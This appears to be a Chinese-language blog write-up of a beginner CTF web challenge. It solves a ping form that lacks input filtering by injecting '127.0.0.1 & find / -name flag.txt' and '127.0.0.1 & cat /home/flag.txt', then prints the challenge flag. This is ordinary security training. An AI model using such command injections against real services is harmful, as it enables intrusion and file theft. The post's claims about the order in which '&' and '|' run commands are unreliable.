攻防世界_WEB_新手練習區_DAY4

command_execution

題目描述:小寧寫了個ping功能,但沒有寫waf,X老師告訴她這是非常危險的,你知道爲什麼嗎。

ping 是DOS命令,一般用於檢測網絡通與不通;是用來探測本機與網絡中另一主機之間是否可達的命令,如果兩臺主機之間ping不通,則表明這兩臺主機不能建立起連接。ping是定位網絡通不通的一個重要手段。

WAF:Web應用防護系統(也稱爲:網站應用級入侵防禦系統。英文:Web Application Firewall,簡稱: WAF)。利用國際上公認的一種說法:Web應用防火牆是通過執行一系列針對HTTP/HTTPS的安全策略來專門爲Web應用提供保護的一款產品。

題目是 《命令執行》 我查了點指令執行的知識

command1 & command2 :先執行command2後執行command1
command1 && command2 :先執行command1後執行command2
command1 | command2 :只執行command2
command1 || command2 :command1執行失敗,再執行command2(若command1執行成功,就不再執行command2)

顯然😂 FLAG在flag.txt中,我們查找一下flag.txt在什麼地方。我們來ping一下。

127.0.0.1 & find / -name flag.txt

在這裏插入圖片描述
可以看到在/home/flag.txt

我們cat一下

127.0.0.1 & cat /home/flag.txt

在這裏插入圖片描述

可以看到FLAG cyberpeace{3846a12432ffcdb1c1509c00348502fe}

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章